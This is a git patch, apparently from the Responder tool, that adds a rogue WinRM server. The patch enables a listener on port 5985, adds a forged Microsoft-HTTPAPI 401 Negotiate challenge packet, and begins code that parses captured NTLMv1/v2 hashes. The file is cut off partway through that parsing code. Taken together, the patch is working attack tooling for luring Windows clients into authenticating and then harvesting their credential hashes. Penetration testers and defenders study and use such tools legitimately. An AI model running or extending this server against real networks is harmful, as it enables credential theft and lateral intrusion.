From 85315442bd010dd61fcb62de8d6ca9cc969426ba Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 19 Apr 2021 18:12:27 -0300 Subject: [PATCH] Added WinRM rogue server --- Responder.conf | 1 + Responder.py | 4 ++ packets.py | 16 ++++- servers/WinRM.py | 180 +++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 3 +- utils.py | 1 + 6 files changed, 203 insertions(+), 2 deletions(-) create mode 100644 servers/WinRM.py diff --git a/Responder.conf b/Responder.conf index 7204f3b..19f9b9d 100644 --- a/Responder.conf +++ b/Responder.conf @@ -14,6 +14,7 @@ HTTPS = On DNS = On LDAP = On DCERPC = On +WINRM = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index 4e9e1c4..2b62977 100755 --- a/Responder.py +++ b/Responder.py @@ -262,6 +262,10 @@ def main(): from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,))) + if settings.Config.WinRM_On_Off: + from servers.WinRM import WinRM + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,))) + if settings.Config.SSL_On_Off: from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,))) diff --git a/packets.py b/packets.py index 903310c..77036bd 100644 --- a/packets.py +++ b/packets.py @@ -317,6 +317,21 @@ class IIS_NTLM_Challenge_Ans(Packet): def calculate(self,payload): self.fields["Payload"] = b64encode(payload) +class WinRM_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 \r\n"), + ("WWWAuth", "WWW-Authenticate: Negotiate "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), @@ -2128,4 +2143,3 @@ class RPCNTLMNego(Packet): self.fields["FragLen"] = StructWithLenPython2or3(". +import struct +import codecs +from utils import * +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode, b64encode +from packets import NTLM_Challenge +from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans +from packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, Challenge, client, module): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack('